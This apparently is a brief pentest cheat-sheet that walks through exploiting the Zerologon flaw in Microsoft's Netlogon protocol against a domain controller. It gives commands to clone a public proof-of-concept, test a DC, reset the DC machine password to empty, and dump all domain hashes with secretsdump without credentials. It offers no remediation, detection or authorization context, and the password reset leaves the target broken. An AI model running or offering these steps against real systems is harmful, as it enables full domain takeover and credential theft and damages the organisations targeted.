Zerologon

What is it?

ZeroLogon is a vulnerability that allows us to exploit a cryptography flaw in Microsoft's Active Directory Netlogon Remote Protocol (MS-NRPC), which allows users to log in to servers using NTLM.

Previous steps

Before executing the exploit we must know that we need a different version of impacket, for this we will do the following.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

PoC (Proof Of Concept)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

Check if the victim domain controller is vulnerable to zerologon.

python3 tester.py <DC-NAME> <ip-address>

In the event that the victim DC is vulnerable, a message will appear saying "Success! DC can be fully compromised by a Zerologon attack."

Otherwise, that is, the victim DC is not vulnerable because the security hole has been patched, we will get the following message "Attack failed. Target is probably patched."

Change the password of the vulnerable domain controller to an empty string.

python3 empty_pw.py <DC-NAME> <ip-address>

If the Domain Controller is vulnerable, after running the exploit it should not have any password.

Dump hashes of the Domain Controller.

secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

By executing this, we will be able to see all the hashes of the domain, without any credentials.